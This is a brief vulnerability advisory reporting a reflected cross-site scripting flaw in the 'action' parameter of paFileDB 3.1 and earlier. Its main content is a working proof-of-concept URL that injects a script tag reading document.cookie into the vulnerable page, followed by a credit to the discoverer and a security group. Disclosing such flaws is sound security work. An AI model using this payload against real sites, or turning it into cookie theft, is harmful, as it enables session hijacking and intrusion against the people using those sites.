Pafiledb ACTION Parameter XSS

Vulnerable System :
paFileDB 3.1
and less

exploit :
http://[target]/pafiledb.php?action="><script>alert(document.cookie)</script>

discovered by : neO

SecurityGurus Team
www.securitygurus.net